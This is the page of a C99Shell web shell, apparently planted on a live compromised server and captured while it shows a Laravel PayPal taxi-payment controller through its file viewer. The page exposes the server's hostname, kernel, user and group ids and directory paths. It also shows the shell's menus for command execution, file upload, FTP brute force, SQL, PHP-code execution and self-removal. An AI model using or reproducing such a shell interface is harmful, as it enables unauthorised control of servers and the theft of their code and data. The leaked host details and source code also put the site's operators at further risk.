!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ManageTaxiOrderPaymentController.php (4.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\TaxiOrder;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;
use 
Omnipay\Omnipay;
use 
Illuminate\Support\Facades\Crypt;
use 
Illuminate\Support\Facades\DB;

class 
ManageTaxiOrderPaymentController extends Controller
{
    public function 
payment_success(Request $request)
    {

        
DB::beginTransaction();

        try {

            if (!
$request->order_id || !$request->thx_id) {
                if( 
\Auth::user()->type=='customer'){
                    return 
redirect()->route('customer.order.request')->with('error'__('Invalid Taxi Order'));
                }else{
                    return 
redirect()->route('taxi-order.index')->with('error'__('Invalid Taxi Order'));
                }
            }

            
$order TaxiOrder::where('id'$request->order_id)->where('payment_status''unpaid')->first();


            if (!
$order) {
                if( 
\Auth::user()->type=='customer'){
                    return 
redirect()->route('customer.order.request')->with('error'__('Invalid Taxi Order'));
                }else{
                    return 
redirect()->route('taxi-order.index')->with('error'__('Invalid Taxi Order'));
                }
            }

            
$company_payment_setting Utility::getCompanyPaymentSetting($order->company_id);

            if (!isset(
$company_payment_setting['is_paypal_enabled']) && $company_payment_setting['is_paypal_enabled'] != 'on' && !isset($company_payment_setting['paypal_client_id']) || !isset($company_payment_setting['paypal_secret_key'])) {
                if( 
\Auth::user()->type=='customer'){
                    return 
redirect()->route('customer.order.request')->with('error'__('Invalid Taxi Order'));
                }else{
                    return 
redirect()->route('taxi-order.index')->with('error'__('Invalid Taxi Order'));
                }
            }

            
$paypal_client_id $company_payment_setting['paypal_client_id'];
            
$paypal_client_secret $company_payment_setting['paypal_secret_key'];

            
$mode = isset($company_payment_setting['paypal_mode']) && $company_payment_setting['paypal_mode'] && $company_payment_setting['paypal_mode'] == 'live' 'false' 'true';
            
$gateway Omnipay::create('PayPal_Rest');
            
$gateway->setClientId($paypal_client_id);
            
$gateway->setSecret($paypal_client_secret);
            
$gateway->setTestMode($mode);

            
$decodedTrxId Crypt::decryptString($request->thx_id);


            if (
$request->paymentId && $request->PayerID) {
                
$transaction $gateway->completePurchase(array(
                    
'payer_id' => $request->PayerID,
                    
'transactionReference' => $request->paymentId,
                ));

                
$response $transaction->send();

                if (!
$response->isSuccessful()) {
                    if( 
\Auth::user()->type=='customer'){
                        return 
redirect()->route('customer.order.request')->with('error'__('Invalid Taxi Order'));
                    }else{
                        return 
redirect()->route('taxi-order.index')->with('error'__('Invalid Taxi Order'));
                    }
                }


                if (
$decodedTrxId == $order->trx_id) {
                    
$order->payment_status 'paid';
                    
$order->trx_id $request->paymentId;
                    
$order->save();
                }

                
DB::commit();

                if( 
\Auth::user()->type=='customer'){
                    return 
redirect()->route('customer.order.request')->with('success'__('Taxi Order Successfully Created'));
                }else{
                    return 
redirect()->route('taxi-order.index')->with('success'__('Taxi Order Successfully Created'));
                }
            } else {
                if( 
\Auth::user()->type=='customer'){
                    return 
redirect()->route('customer.order.request')->with('error'__('Invalid Taxi Order'));
                }else{
                    return 
redirect()->route('taxi-order.index')->with('error'__('Invalid Taxi Order'));
                }
            }

        } catch (
\Exception $ex) {
            
DB::rollBack();

            if( 
\Auth::user()->type=='customer'){
                return 
redirect()->route('customer.order.request')->with('error'__('Invalid Taxi Order'));
            }else{
                return 
redirect()->route('taxi-order.index')->with('error'__('Invalid Taxi Order'));
            }
        }
    }

    public function 
payment_cancel()
    {
        if( 
\Auth::user()->type=='customer'){
            return 
redirect()->route('customer.order.request')->with('error'__('Taxi Order Payment Has Been Cancelled.'));
        }else{
            return 
redirect()->route('taxi-order.index')->with('error'__('Taxi Order Payment Has Been Cancelled.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--